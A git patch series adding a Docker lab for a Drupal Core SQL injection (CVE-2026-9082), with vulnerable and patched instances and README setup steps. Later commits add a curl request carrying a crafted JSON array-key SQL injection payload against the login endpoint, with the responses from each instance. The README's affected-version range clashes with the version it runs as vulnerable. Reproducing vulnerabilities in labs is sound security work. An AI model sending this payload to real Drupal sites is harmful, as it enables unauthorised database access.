From 1dd76f686b62b9c50b0a5f1f7e895b4a07108dd3 Mon Sep 17 00:00:00 2001 From: Sanjay Mahajan Date: Fri, 31 Jul 2026 06:05:01 +0000 Subject: [PATCH 1/3] added testbed for CVE-2026-9082 --- drupal/CVE-2026-9082/README.md | 78 +++++++++++++++++++++++ drupal/CVE-2026-9082/docker-compose.yml | 85 +++++++++++++++++++++++++ 2 files changed, 163 insertions(+) create mode 100644 drupal/CVE-2026-9082/README.md create mode 100644 drupal/CVE-2026-9082/docker-compose.yml diff --git a/drupal/CVE-2026-9082/README.md b/drupal/CVE-2026-9082/README.md new file mode 100644 index 00000000..d97d2a7b --- /dev/null +++ b/drupal/CVE-2026-9082/README.md @@ -0,0 +1,78 @@ +# SQL Injection in Drupal Core (CVE-2026-9082) + +Drupal Core versions 11.1.0 and earlier (when running on a PostgreSQL database backend) fail to properly sanitize associative array keys during entity query condition translation. A remote unauthenticated attacker can supply crafted payload array keys via JSON endpoints to execute arbitrary SQL commands. + +## Vulnerable Version + +### Setup + +Start Drupal version 11.3.9-apache (Vulnerable): + +```sh +docker compose up -d drupal_vuln postgres_vuln +``` + +1. Access http://localhost:8080 in your browser. + +2. Complete the setup wizard with the following settings: + + Language: English + + Profile: Standard + + Database type: PostgreSQL + + Database name: drupal + + Database username: drupal + + Database password: drupal_password + + Host: postgres_vuln + + Port: 5432 + + Site name: Drupal Lab (Vulnerable) + + Admin Username: admin + + Admin Password: admin@123 + + Admin Email: admin@example.com + +## Safe Version + +### Setup + +Start Drupal version 11.3.10-apache (Safe) + +```sh +docker compose up -d drupal_patched postgres_patched +``` +1. Access http://localhost:8081 in your browser. + +2. Complete the setup wizard with the following settings: + + Language: English + + Profile: Standard + + Database type: PostgreSQL + + Database name: drupal + + Database username: drupal + + Database password: drupal_password + + Host: postgres_patched + + Port: 5432 + + Site name: Drupal Lab (Safe) + + Admin Username: admin + + Admin Password: admin@123 + + Admin Email: admin@example.com \ No newline at end of file diff --git a/drupal/CVE-2026-9082/docker-compose.yml b/drupal/CVE-2026-9082/docker-compose.yml new file mode 100644 index 00000000..780db11c --- /dev/null +++ b/drupal/CVE-2026-9082/docker-compose.yml @@ -0,0 +1,85 @@ +version: '3.8' + +services: + # ========================================== + # VULNERABLE ENVIRONMENT (Available on Port 8080) + # ========================================== + postgres_vuln: + image: postgres:16 + container_name: drupal-postgres-vuln + environment: + POSTGRES_DB: drupal + POSTGRES_USER: drupal + POSTGRES_PASSWORD: drupal_password + ports: + - "5432:5432" + volumes: + - postgres_data_vuln:/var/lib/postgresql/data + networks: + - drupalnet + restart: always + + drupal_vuln: + image: docker.io/drupal:11.3.9-apache + container_name: drupal-vuln + depends_on: + - postgres_vuln + ports: + - "8080:80" + environment: + DRUPAL_DB_HOST: postgres_vuln + DRUPAL_DB_NAME: drupal + DRUPAL_DB_PORT: 5432 # Fixed: 5432 is the default for PostgreSQL + DRUPAL_DB_USER: drupal + DRUPAL_DB_PASSWORD: drupal_password + volumes: + - drupal_data_vuln:/var/www/html + networks: + - drupalnet + restart: always + + # ========================================== + # PATCHED ENVIRONMENT (Available on Port 8081) + # ========================================== + postgres_patched: + image: postgres:16 + container_name: drupal-postgres-patched + environment: + POSTGRES_DB: drupal + POSTGRES_USER: drupal + POSTGRES_PASSWORD: drupal_password + ports: + - "5433:5432" # Exposed on 5433 to avoid conflict with the vulnerable DB + volumes: + - postgres_data_patched:/var/lib/postgresql/data + networks: + - drupalnet + restart: always + + drupal_patched: + image: docker.io/drupal:11.3.10-apache # Assuming .10 is the patched release + container_name: drupal-patched + depends_on: + - postgres_patched + ports: + - "8081:80" # Exposed on 8081 + environment: + DRUPAL_DB_HOST: postgres_patched + DRUPAL_DB_NAME: drupal + DRUPAL_DB_PORT: 5432 + DRUPAL_DB_USER: drupal + DRUPAL_DB_PASSWORD: drupal_password + volumes: + - drupal_data_patched:/var/www/html + networks: + - drupalnet + restart: always + +volumes: + postgres_data_vuln: + drupal_data_vuln: + postgres_data_patched: + drupal_data_patched: + +networks: + drupalnet: From 3ce26fceaa54fc6ecfe17448c9c9120f247241d4 Mon Sep 17 00:00:00 2001 From: Sanjay Mahajan <87861775+sanjaymahajan14@users.noreply.github.com> Date: Wed, 19 Aug 2026 17:58:34 +0530 Subject: [PATCH 2/3] Update drupal/CVE-2026-9082/README.md Co-authored-by: Robert Dick --- drupal/CVE-2026-9082/README.md | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/drupal/CVE-2026-9082/README.md b/drupal/CVE-2026-9082/README.md index d97d2a7b..146fc9b2 100644 --- a/drupal/CVE-2026-9082/README.md +++ b/drupal/CVE-2026-9082/README.md @@ -40,6 +40,15 @@ docker compose up -d drupal_vuln postgres_vuln Admin Email: admin@example.com +### Testing the vulnerability: +``` +curl -X POST http://localhost:8080/user/login\?_format\=json\&check\=1 -H 'Content-Type: application/json' -d "{\"name\":{\"0\":\"x\",\"0||1/(SELECT CASE WHEN (1=1) THEN 0 END)\":\"x\"},\"pass\":\"x\"}" +``` +Response: +``` +The website encountered an unexpected error. Try again later. +``` + ## Safe Version ### Setup From b50f28c3f54dc52b1d484e231bb19ca97fd0168a Mon Sep 17 00:00:00 2001 From: Sanjay Mahajan <87861775+sanjaymahajan14@users.noreply.github.com> Date: Wed, 19 Aug 2026 17:59:03 +0530 Subject: [PATCH 3/3] Update drupal/CVE-2026-9082/README.md Co-authored-by: Robert Dick --- drupal/CVE-2026-9082/README.md | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/drupal/CVE-2026-9082/README.md b/drupal/CVE-2026-9082/README.md index 146fc9b2..03797bc2 100644 --- a/drupal/CVE-2026-9082/README.md +++ b/drupal/CVE-2026-9082/README.md @@ -84,4 +84,13 @@ docker compose up -d drupal_patched postgres_patched Admin Password: admin@123 - Admin Email: admin@example.com \ No newline at end of file + Admin Email: admin@example.com + +### Testing the vulnerability: +``` +curl -X POST http://localhost:8081/user/login\?_format\=json\&check\=1 -H 'Content-Type: application/json' -d "{\"name\":{\"0\":\"x\",\"0||1/(SELECT CASE WHEN (1=1) THEN 0 END)\":\"x\"},\"pass\":\"x\"}" +``` +Response: +``` +{"message":"Sorry, unrecognized username or password."} +```